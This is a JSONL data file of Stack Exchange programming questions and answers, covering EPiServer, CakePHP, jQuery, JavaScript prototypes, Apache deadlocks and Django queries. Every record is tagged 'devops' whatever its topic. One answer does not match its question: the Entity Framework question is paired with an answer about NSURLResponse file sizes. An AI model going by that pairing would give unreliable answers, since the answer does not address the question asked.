{"id": "hf_821557e055f1", "question": "<p>What is the best way to abstract the episerver infrastructure for easier testing?</p>\n", "question_body": "", "answer": "Perhaps this post will help:\nEPiServer CMS 5 R2 and unit testing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.960277"}
{"id": "hf_7f0e5f88a6e0", "question": "<p>We recently had a code review . One of my classes was used so that I could return/pass more than one type of data from/to methods . The only methods that the class had were getters/setters . One of the team's members ( whose opinion I respect ) said that having a class like that is bad practice ( and not very OOP ) . Why is that ?</p>\n", "question_body": "", "answer": "In general, you'll want to isolate the knowledge needed to operate upon a class into the class itself.  If you have a class like this, either it is used in multiple places, and thus can take on some of the functionality in both of those places, or it is in a single place, and should be an inner class.  If it is used in multiple ways, but in completely different ways, such that there is no shared functionality, having it be a single class is misleading, indicating a shared functionality where there is none.\nHowever, there are often specific reasons for where these general rules may or may not apply, so it depends on what your class was supposed to represent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.986774"}
{"id": "hf_1cac771af863", "question": "<p>I want to play around a bit with FLASH for app development. I'm looking for a good IDE for that.  Someone suggested Flash Develop.</p>\n", "question_body": "", "answer": "Major reason to use FlexBuilder: has a real debugger you can set breakpoints and single step and watch/edit variables.\nUnless FlashDevelop has .. developed .. don't think it got any of that yet.\nBTW - if you are a student/teacher FlexBuilder can be had for\nfree", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.021692"}
{"id": "hf_9e96fac67e3f", "question": "<p>What is the Python equivalent of the following code in Ruby?</p>\n\n<pre><code>def loop\n  cont=nil\n  for i in 1..4\n    puts i\n    callcc {|continuation| cont=continuation} if i==2\n  end\n  return cont\nend\n\n&gt; c=loop\n1\n2\n3\n4\n&gt; c.call\n3\n4\n</code></pre>\n\n<p>Reference: <a href=\"http://www-128.ibm.com/developerworks/java/library/os-lightweight9/\" rel=\"nofollow noreferrer\">Secrets of lightweight development success, Part 9: Continuations-based frameworks</a></p>\n", "question_body": "", "answer": "take a look at the\nyield\nstatement to make generators.\nI don't speak any ruby, but it seems like you're looking for this:\n```\n```\ndef loop():\n    for i in xrange(1,5):\n        print i\n        if i == 2:\n            yield\n\nfor i in loop():\n    print \"pass\"\n```\n```\nEdit: I realize this is basically a specialization of real continuations, but it should be sufficient for most purposes. Use\n```\nyield\n```\nto return the continuation and the\n```\n.next()\n```\nmessage on the generator (returned by just calling\n```\nloop()\n```\n) to reenter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.045113"}
{"id": "hf_ec14bf28317c", "question": "<p>I am building an Entity Framework model for a subset of the Pubs database from microsoft. I am only interested and publishers and books, not publishers and employees, but there is a foreign key constraint between the publishers and emoloyees tables. When I remove the employees entity from my model, the model won't validate because of the foreign key constraint.</p>\n\n<p>How do I create a model for a subset of a database when that subset links to other tabes with foreign key constraints?</p>\n\n<p>Because this is for a demo, I deleted the offending tables and constraints from the database, but this won't work in production.</p>\n", "question_body": "", "answer": "Not sure what I'm missing here, but your\n```\nfilesize\n```\nbeing -1 seems to be your problem.  The\nAPI docs\nclearly state that\n```\nexpectedContentLength\n```\nmay not be available and that\n```\nNSURLResponseUnknownLength\n```\nis returned in these cases.\n```\nNSURLResponseUnknownLength\n```\nis defined as:\n```\n```\n#define NSURLResponseUnknownLength ((long long)-1)\n```\n```\nIn these cases, you cannot get an accurate progress.  You'll need to handle this and display an indeterminate progress meter of some sort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.080510"}
{"id": "hf_5f7e164e342c", "question": "<p>I have a very simple model. I want to add a send email routine to on of the methods for the model:</p>\n\n<pre><code>$this-&gt;Email-&gt;delivery = 'smtp';\n$this-&gt;Email-&gt;template = 'default';\n$this-&gt;Email-&gt;sendAs = 'text';     \n$this-&gt;Email-&gt;from    = 'email';\n$this-&gt;Email-&gt;to      = 'email';\n$this-&gt;Email-&gt;subject = 'Error';\n</code></pre>\n\n<p>I've tried putting </p>\n\n<pre><code>App::import('Component', 'Email');\n</code></pre>\n\n<p>at the top, to no avail. The error I get is:</p>\n\n<blockquote>\n  <p>Fatal error: Call to undefined method stdClass::send() in E:\\xampp\\htdocs8080\\app\\models\\debug.php on line 23</p>\n</blockquote>\n\n<p>Any ideas?</p>\n\n<p>I'm running CakePHP 1.2</p>\n", "question_body": "", "answer": "Components are supposed to be used in controllers, not models.\nIn your controller use\n```\n```\nvar $components = array('Email');\n```\n```\nThere is no need to use App::import();\nWithout knowing your app and reasons for wanting to use it in a model, I might suggest you re-think your system architecture and move this logic to your controller.\nIf you definitely need it in your mode, your code included something like...\n```\n```\n$this->Email->delivery = ...\n```\n```\nHave you put created a new instance of the component and set it to a property of your model called Email? (No idea if this will work mind.)\nThe error you are getting is because you are calling the send() method on a the stdClass object i.e. not an instance of the EmailComponent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.103847"}
{"id": "hf_25956836710d", "question": "<p>My scenario should be simple... the type I want to convert <em>FROM</em> is <em>ALWAYS</em> 'string'. What I want to convert to... could be many things - ints, DateTimes, ... strings, etc.</p>\n\n<p>This would be easy:</p>\n\n<pre><code>string valueToConvertFrom = \"123\";\n\nint blah = Convert.ToInt32(valueToConvertFrom);\n</code></pre>\n\n<p>However... I don't know (until runtime) that the value I need to convert to is an 'Int' (or whatever). I have tried this:</p>\n\n<pre><code>string valueToConvertFrom = \"123\";\n\nType convertToType = typeof(int);\n\nobject blah = Convert.ChangeType(valueToConvertFrom, convertToType);\n</code></pre>\n\n<p>But that gives me the following error: \"Object must implement IConvertible.\"</p>\n\n<p>I don't want to have to do a switch statement and call \"Convert.ToBlah\" based on the type name... any suggestions?</p>\n", "question_body": "", "answer": "String class implements IConvertible, this code simply SHOULD work. Which version of .NET are you aiming?\n```\n```\nobject o = Convert.ChangeType( str, convertToType );\n```\n```\nBesides, most of the types you mentioned implement Parse method, so your best shot might be something like this.\n```\n```\nType convertToType = ...;\nMethodInfo mi = convertToType.GetMethod(\"Parse\", BindingFlags.Static);\nobject blah;\nif(mi != null)\n{\n    blah = mi.Invoke(null, new object[]{valueToConvertFrom});\n}\nelse\n{\n    // the type doesn't implement the Parse method, handle it another way :/\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.131024"}
{"id": "hf_d5b3d5a3e6ee", "question": "<p>I put together a sample scenario of my issue and I hope its enough for someone to point me in the right direction.</p>\n\n<p>I have two tables</p>\n\n<p>Products</p>\n\n<p><img src=\"https://i.stack.imgur.com/ktnI0.gif\" alt=\"alt text\"></p>\n\n<p>Product Meta</p>\n\n<p><img src=\"https://i.stack.imgur.com/dBrc0.gif\" alt=\"alt text\"></p>\n\n<p>I need a result set of the following</p>\n\n<p><img src=\"https://i.stack.imgur.com/Ken2R.gif\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "```\n```\nSelect a.ProductId\n  ,a.Name\n  ,(Select c.MetaValue\n    From [Product Meta] c\n    Where c.ProductId = a.ProductId\n    And c.MetaKey = 'A') As 'A'\n   ,(Select d.MetaValue\n    From [Product Meta] d\n    Where d.ProductId = a.ProductId\n    And d.MetaKey = 'B') As 'B'\n   ,(Select e.MetaValue\n      From [Product Meta] e\n      Where e.ProductId = a.ProductId\n      And e.MetaKey = 'C') As 'C'\nFrom Products a\nOrder By a.ProductId Asc\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.165820"}
{"id": "hf_2b336c18fe8d", "question": "<p>Situation: you've got a .swf embedded in an html page, and when you click on something in the .swf, it needs to popup a chromeless window. Normally this would be fairly easy - but consider Safari, which completely disables all 'window.open' functionality while its popup-blocker is enabled (it makes an exception if the function is triggered onclick, but it doesn't count clicks in flash). How can you create something which gracefully degrades (provides an alternate and roughly equivalent experience) for browsers that won't execute window.open?</p>\n\n<p>(note: this is AS3, and Safari 3 for PC or Mac we're talking about - but more broadly, any browser that doesn't support or refuses to allow the javascript window.open function.)</p>\n", "question_body": "", "answer": "If your SWF is loaded using\n```\nwmode='opaque'\n```\nor\n```\nwmode='transparent'\n```\n, then you could have the SWF output JavaScript code that would create an empty\n```\n<div>\n```\nthat's positioned over the SWF area.  That\n```\n<div>\n```\ncould then handle the\n```\nonclick\n```\nevent and create the popup window rather than the Flash code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.201195"}
{"id": "hf_60cae815b610", "question": "<p>On a more abstract level then <a href=\"https://stackoverflow.com/questions/299729/javascript-to-flash-communication\">a previous question</a>, in my experience there are 3 ways to call a javascript function on an html page from an embedded .swf using AS3: ExternalInterface, fscommand, and navigateToURL.</p>\n\n<p>Let's compare and contrast these methods (and maybe others I haven't listed) and talk about the pros and cons of each - right now, ExternalInterface <em>seems</em> like the way to go in terms of flexibility, but is it right for all situations? Are there concrete benefits in terms of execution speed or anything like that? I'm curious - what do we think?</p>\n", "question_body": "", "answer": "ExternalInferface was created to make communication between JS and Flash easier, so it doens't really make sense to use anything else. Common practice is to check if its available first by evaluating the value of the ExternalInterface.available property before making a call to some JS. This property tells you if the SWF in which you want to call some JS from is inside a container that offers an external interface. In otherwords, if using ExternalInterface will work. If its not available then just use flash.net.sendToUrl. Never use fscommand() as it uses VBScript and can cause conflicts with other VBScript on a page. Additionally, you can only send one argument string with fscommand and have to split it on the JS side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.225010"}
{"id": "hf_5101e71f3d0e", "question": "<p>Can someone explain in simple terms the \"signals and slots\" pattern?</p>\n", "question_body": "", "answer": "Signals and slots are a way of decoupling a sender (the signal) and zero or more receivers (the slots). Let's say you a system which has events that you want to make available to any other part of the system interested in those events. Rather than hard-wiring the code that generates event to the code that wants to know about those events, you would use a signals and slots pattern.\nWhen the sender signals an event (usually by calling the function associated with that event/signal) all the receivers for that event are automatically called. This allows you to connect and disconnect receivers as necessary during the lifetime of the program.\nSince this question was tagged C++, here is a link to the\nBoost.Signals\nlibrary which has a much more thorough explanation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.260300"}
{"id": "hf_ed8877c4bea1", "question": "<p>Unit tests are cheaper to write and maintain, but they don't cover all scenarios. What is the right balance between them?</p>\n", "question_body": "", "answer": "On the app I am working on at the moment, there are probably 10:1 unit to functional tests. The unit test work simply things like retrieving entities from DB, error handling tests for db/network connectivity etc. These things run quick - minutes or less and are run by devs daily.\nfunctional tests while fewer tend to be kitchen sink approach - can user complete order etc. tend to cover the business domain end of things are run by business analsyts and operations - sadly for us, often by hand. These things take weeks to run and usually to finalize a release cycle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.295965"}
{"id": "hf_0866ca8b9f2f", "question": "<p>Given a list of sets:</p>\n\n<ul>\n<li>S_1 : [ 1, 2, 3, 4 ]</li>\n<li>S_2 : [ 3, 4, 5, 6, 7 ]</li>\n<li>S_3 : [ 8, 9, 10, 11 ]</li>\n<li>S_4 : [ 1, 8, 12, 13 ]</li>\n<li>S_5 : [ 6, 7, 14, 15, 16, 17 ]</li>\n</ul>\n\n<p>What the most efficient way to merge all sets that share at least 2 elements?  I suppose this is similar to a connected components problem.  So the result would be:</p>\n\n<ul>\n<li>[ 1, 2, 3, 4, 5, 6, 7, 14, 15, 16, 17] (S_1 UNION S_2 UNION S_5)</li>\n<li>[ 8, 9, 10, 11 ]</li>\n<li>[ 1, 8, 12, 13 ] (S_4 shares 1 with S_1, and 8 with S_3, but not merged because they only share one element in each)</li>\n</ul>\n\n<p>The naive implementation is O(N^2), where N is the number of sets, which is unworkable for us.  This would need to be efficient for millions of sets.</p>\n", "question_body": "", "answer": "If you can order the elements in the set, you can look into using\nMergesort\non the sets. The only modification needed is to check for duplicates during the merge phase. If one is found, just discard the duplicate. Since mergesort is O(n*log(n)), this will offer imrpoved speed when compared to the naive O(n^2) algorithm.\nHowever, to really be effective, you should maintain a sorted set and keep it sorted, so that  you can skip the sort phase and go straight to the merge phase.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.319548"}
{"id": "hf_a25e43fc95ff", "question": "<p>As the title says really. Does the virtual keyword cause a performance hit?</p>\n", "question_body": "", "answer": "First off, in Actionscript you don't need to explicitly mark a method to be overridden as virtual as you do in C#, the compiler will do this for you. This is why the keyword doesn't show up in any docs because it is irrelevant from the developers perspective.\nTo answer your question though, which is whether overriding a method makes it slower, the answer is no as long as your class is sealed, meaning you don't use the 'dynamic' keyword when defining the class.\nThe reason why is that when constructing a sealed class, you're going to have explicit markers to every method for that object, when overriding a method you get a marker directly to the new function, the class does not have to look it up at runtime like in a dynamic class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.400313"}
{"id": "hf_f9fbe65ea55e", "question": "<p>Is there a good Silverlight Design Architecture? </p>\n", "question_body": "", "answer": "There is\nPrism\nit was originally designed for WPF but there is now a Silverlight release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.423721"}
{"id": "hf_dc643e00cb74", "question": "<p>Is there a way to use these operators to input and output binary data? The reason I want to do this is that it makes the code readable. \nEx: infile >> filedecrypter >> metadataparser >> audiodecoder >> effects >> soundplayer;</p>\n", "question_body": "", "answer": "Indeed that can be done, if the library or your code provides the overloads for\n```\noperator<<\n```\nand\n```\noperator>>\n```\nfor it to work. Simple example on how one could do it:\n```\n```\nclass transformer {\n    public:\n    virtual std::iostream& transform(std::iostream&) = 0;\n};\n\nclass noise : public transformer {\n    public:\n    virtual std::iostream& transform(std::iostream&) {\n         /* extract, change and put into again */\n    }\n};\n\nclass echo : public transformer {\n    public:\n    virtual std::iostream& transform(std::iostream&) {\n         /* extract, change and put into again */\n    }\n};\n\nstd::iostream& operator>>(std::iostream& io, transformer& ts) {\n    return ts.transform(io);\n}\n\nint main() {\n    std::stringstream data;\n    std::ifstream file(\"sound.wav\");\n\n    noise n; echo e;\n\n    data << file.rdbuf();\n    data >> n >> e;\n    /* pipelined data now ready to be played back */\n}\n```\n```\nThe problem with using a pure\n```\nstd::istream\n```\nis that you would read, but then you wouldn't have a way to put the transformed data back for the next step in the pipeline. Thus i'm using\n```\nstd::iostream\n```\nhere. This approach doesn't seem to be efficient, as every operator>> call would extract the whole data, and put into again.\nTo have a more performant way to stream this would be to create an\n```\nexpression template\n```\n. This means, while\n```\noperator>>\n```\nis called, you don't do the transforming yet, but you return expression types that will record the chain of operations within its type:\n```\n```\ntypedef transform< echo< noise< istream > > > pipeline;\nstd::ifstream file(\"file.wav\");\npipeline pipe(file);\nint byte = pipe.get();\n```\n```\nwould be an example of such a type. The pipelines' structure is decoded into the type itself. Therefore, no virtual functions are needed anymore in the pipeline. It's not constructed on-demand, but using typedef here, to show the principle. Programming such a system is not easy. So you probably should look into existing systems, like Boost.Iostreams (see below). To give you an idea how it would look like, here is an example i just coded up for you :) :\n```\n```\n#include <iostream>\n\ntemplate<typename T>\nstruct transformer {\n    int get() {\n        return static_cast<T*>(this)->read();\n    }\n};\n\nstruct echot {\n    template<typename Chain>\n    struct chain : transformer< chain<Chain> > {\n        Chain c;\n\n        int read() {\n            return c.get() + 1;\n        }\n\n        chain(Chain const& c):c(c) { }\n    };\n} echo;\n\nstruct noiset {\n    template<typename Chain>\n    struct chain : transformer< chain<Chain> > {\n        Chain c;\n\n        int read() {\n            return c.get() * 2;\n        }\n\n        chain(Chain c):c(c) { }\n    };\n} noise;\n\ntemplate<typename T>\ntypename T::template chain<std::istream&> operator>>(std::istream& is, T) {\n    return typename T::template chain<std::istream&>(is);\n}\n\ntemplate<typename T, typename U>\ntypename U::template chain<T> operator>>(T t, U u) {\n    return typename U::template chain<T>(t);\n}\n\nint main() {\n    std::cout << (std::cin >> echo >> noise).get() << std::endl;\n}\n```\n```\nEntering 0 yields the ASCII code 48 here, which is added 1, and multiplied by 2, yielding a value of 98, which is also finally output. I think you agree this is not some code a starter would want to write. So maybe look into boost.\nBoost has an sophisticated iostreams library, which can do many things. I'm sure you would find something fitting to this.\nBoost.Iostreams", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.466594"}
{"id": "hf_a4ef91061891", "question": "<p>I am trying to fade in a <p> on mouseover and fade out on mouseout:</p>\n\n<pre><code>  $(\"p.follow\").mouseover(function(){\n        $(this).fadeTo(\"slow\", 1.00);\n})\n$(\"p.follow\").mouseout(function(){\n        $(this).fadeTo(\"fast\", 0.50);\n})\n</code></pre>\n\n<p>If you go to ryancoughlin.com and on the right side, if you go over it you will see what I mean, it is almost as if it is stuck and keeps fading in.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n$(\"p.follow\").hover(function()\n   {\n      $(this).stop().fadeTo(\"slow\", 1.00);\n   },\n   function()\n   {\n      $(this).stop().fadeTo(\"fast\", 0.50);\n   });\n```\n```\nTwo key differences: I use the jQuery\n```\nhover\n```\nevent to associate mouseover and mouseout event handlers such that child elements won't result in confusing behavior, and i use the\n```\nstop()\n```\nfunction to prevent animations from overlapping and canceling each other out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.494614"}
{"id": "hf_d9e135b767ea", "question": "<p>I have configured a simple LAMP stack on Debian and I am experiencing some problems with the Apache web server. </p>\n\n<p>Each 3-4 hours the web server is entering a deadlock and all the requests that hit the database block. The server is creating a new child for each request. The number of processes increases very quickly. After a few seconds Monit notices something is wrong and restarts the Apache server.</p>\n\n<p>I suspect this problem is generated by the way PHP handles database connection pooling because the server is still able to answer static content requests. Have you experienced this kind of behavior? What should I try to do?</p>\n\n<p><strong>Update:</strong> Problem solved. It seems it's a bad idea to use APC for opcode caching and user data. I am now using Memcache for storing user data and APC only for code. I still get some segmentation faults from time to time but the server is most of the time stable.</p>\n", "question_body": "", "answer": "Why don't you have a look at the logs?\n```\n/var/log/apache2/*\n```\nis a good place to start. What is requested just before the server dies? From there on, you can probably deduce what's going wrong. As php scripts are terminated after 30 seconds by default, the mistake needs to be quite massive to cause something like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.518063"}
{"id": "hf_60c799807b1b", "question": "<p>I would like to do something like the following but can't seem to get the syntax for the Do method quite right.</p>\n\n<pre><code>var sqr = new _mocks.CreateRenderer&lt;ShapeRenderer&gt;();\nExpect.Call(sqr.CanRender(null)).IgnoreArguments().Do(x =&gt;x.GetType() == typeof(Square)).Repeat.Any();\n</code></pre>\n\n<p>So basically, I would like to set up the sqr.CanRender() method to return true if the input is of type Square and false otherwise.</p>\n", "question_body": "", "answer": "Are you looking for this?\n```\n```\nExpect.Call(sqr.CanRender(null)).IgnoreArguments()\n    .Do((Func<Shape, bool>) delegate(Agent x){return x.GetType() == typeof(Square);})\n    .Repeat.Any();\n```\n```\nEDIT: The answer was correct in spirit bu the original syntax did not quite work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.624236"}
{"id": "hf_470f1d687fcc", "question": "<p>I've been frustrated by this for the entire weekend, plus a day or two, so any help would be significantly appreciated.</p>\n\n<p>I'm trying to write a program that can programmatically go into a SharePoint 2007 doc library, open a file, change the contents of the file, then put the file back. I've gotten all but the last part of this down. The reason Office Open XML is involved is that that's how I'm opening the document and modifying it - through the Office Open XML SDK. My question is: How do I get it from the document back into the library?</p>\n\n<p>The problem as I see it is that there's no save function on the WordprocessingDocument object itself. This prevents me from saving it into the SPFile's SaveBinary function.</p>\n", "question_body": "", "answer": "Yesterday I saw a webcast with Andrew Connell where he opened a doc from a doc library, added a watermark and saved the file again. It sure sounds like you should have a look at that webcast:\nhttps://msevents.microsoft.com/CUI/WebCastRegistrationConfirmation.aspx?culture=en-US&RegistrationID=1299758384&Validate=false\nbtw I found that all 10 of the web casts in that serie were very good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.659128"}
{"id": "hf_b0fd9d38d5a1", "question": "<p>This fails with 'X.m is not a function'...</p>\n\n<pre><code>var Y = function () {\n    this.m = function () {\n        alert('this is m');\n    };\n};\n\nvar X = new function () { };\n\nX.prototype = new Y();\nX.m();\n</code></pre>\n\n<p>It would certainly work if I skipped the new keyword in the X definition and then instantiated X before calling m() on it. Why can't I do it this way?</p>\n", "question_body": "", "answer": "No you cannot set the prototype and have that change effect previously existing instances.  You can however, modify the prototype object to have the desired effect.  But not the way you have attempted.  This is because your instance X is an object, not a class.  (This is because you used the \"new\" operator before the definition of your class.)\nSimple test:\n```\n```\nvar X = new function () { };\nalert(X.prototype);  // displays \"undefined\" because X is an \n                     // object not a class\n```\n```\nSo when you set the \"prototype\" attribute on X you are not storing the template object in a class, you are merely creating a new attribute on object X with the name \"prototype\" so, if you did this:\n```\n```\nvar Y = function () {\n    this.m = function () {\n        alert('this is m');\n    };\n};\n\nvar X = new function () { };\nX.prototype = new  Y();\nX.prototype.m();  // displays \"this is m\"\n```\n```\nThen you get the output you expected previously.\nEven though you created X as an instance of an anonymous class, you can still access that class through the \"constructor\" property.  Once you have that reference, you can then modify the prototype object.  Like this:\n```\n```\nX.constructor.prototype.m = new Y().m;\nX.m();  // displays \"this is m\"\n```\n```\nYou should note however, that this will not work:\n```\n```\nX.constructor.prototype = new Y();\nX.m();  // fails\n```\n```\nBecause changing the entire prototype object only effects instances created in the future.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.682566"}
{"id": "hf_196cc8e37f97", "question": "<p>There are several people about (myself being one of them) who have been developing RIA for a while now using Flex and AJAX.  However Silverlight is now on the scene and worth picking up.</p>\n\n<p>Question is, as someone who has never looked at .NET before, should I just dive in Silverlight and try and make up the bits I'm missing, or start somewhere else in .NET in order to get a foundation first?</p>\n", "question_body": "", "answer": "I firmly believe in learning foundations first. I would start off by writing console apps - get the hang of collections, IO, the language itself (whether that's VB or C#, or even something else).\nIt's probably worth learning a bit of \"normal\" WPF after that, on the grounds that it may well be easier to experiment that way than with Silverlight itself. (I can't say I've written any Silverlight myself yet.)\nIf you dive straight into Silverlight, when you run into problems you won't know whether it's because you're unfamiliar with the language, the core platform, or Silverlight itself. You'll take a while longer to get going with my suggestion above, but once you've got going it'll be a much smoother ride, in my view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.718147"}
{"id": "hf_dcc254a8f234", "question": "<p>How do I expose the <code>ActualWidth</code> property of one of the components of my user control to users?</p>\n\n<p>I have found plenty of examples of how to expose a normal property by creating a new dependency property and binding, but none on how to expose a read-only property like <code>ActualWidth</code>.</p>\n", "question_body": "", "answer": "```\nActualWidth\n```\nis a public readonly property (coming from\n```\nFrameworkElement\n```\n) and is exposed by default. What is the case that you are trying to achieve?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.823284"}
{"id": "hf_785fe17623aa", "question": "<p>From the .net 4.0 previews I have read until now there has been lots of talk on how the next .net version will handle and use cpus with multiple cores. We will have additions like plinq that will help us make use of multiple cores. My question is why should I have to bother my mind with handling multiple cores when all I want is to make my application run faster. Why can't there be a kind of virtual cpu layer that exposes all cores as 1 core to my application? </p>\n\n<p>Edit:\nI would like to rephrase my question to avoid misunderstanding, \nCould there be made a software that would expose a virtual thread to my application that would be 10 times faster because underlaying it was using 10 cores. I do not want to have different threads doing things in paralell, I just want my one thread running faster. I guess this is not a big problem today but soon we'll have 80 core processors to play with and then I would feel a bit shorthanded only using 1 of them.</p>\n", "question_body": "", "answer": "You are misunderstanding the point of multiple cores in the first place.\nWith more than one core, you can perform two or more different operations in parallel (at the same time).  This is called threading.\nThis can't be done automatically because the \"normal\" programs you write are linear.  You can't easily convert one series of instructions into several series of instructions without taking into consideration side effects.\nGPU's (specialized CPU's on graphics cards), for example, may contain hundreds of \"cores\" (stream processors) which operate in parallel to render the pixels on your screen.  With only one processor, you'd have to render pixel-by-pixel on a super-fast processor to achieve the same effect.\nThe reason CPU manufacturers moved to more than one core was because manufacturing a single core at higher speeds was getting more difficult and expensive, and that a single core would suck up more power and produce more heat than two cores at half the speed (basically; this isn't true in all cases).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.846490"}
{"id": "hf_6e81385b4df4", "question": "<p>In my specific case, I have two kinds of \"messages\" that I need to retrive and paginate.</p>\n\n<p>Let's omit the details, and just say that the first kind is in a model called Msg1 and the other is called Msg2</p>\n\n<p>The fields of these two models are completely different, the only fields that are common to the two models are \"date\" and \"title\" (and of course, id).</p>\n\n<p>I can get <code>Msg1.objects.all()</code> and <code>Msg2.objects.all()</code> but can I combine these two queries into one query, sort it by date, and paginate it?</p>\n\n<p>I need to preserve the lazy nature of the query.</p>\n\n<p>The trivial solution is to <code>list(query)</code> both queries and combine them in a python list. but this is inefficient for obvious reasons.</p>\n\n<p>I looked through the django references on models and dp-api, but it doesn't seem that there is a way to combine queries of different models/tables into one.</p>\n", "question_body": "", "answer": "\"combine these two queries into one query, sort it by date, and paginate it?\"\nThat's the SQL union.   Leave the Django ORM and use a SQL union.  It's not brilliantly fast because SQL has to create a temporary result, which it sorts.\nCreate the temporary result, which can be sorted.  Since a list has a sort method, you'll have to merge the two results into one list.\nWrite a merge algorithm that accepts two query sets, paginating the results.\nEdit.  Here's a merge algorithm.\n```\n```\ndef merge( qs1, qs2 ):\n    iqs1= iter(qs1)\n    iqs2= iter(qs2)\n    k1= iqs1.next()\n    k2= iqs2.next()\n    k1_data, k2_data = True, True\n    while k1_data or k2_data:\n        if not k2_data:\n            yield k1\n            try:\n                k1= iqs1.next()\n            except StopIteration:\n                k1_data= False\n        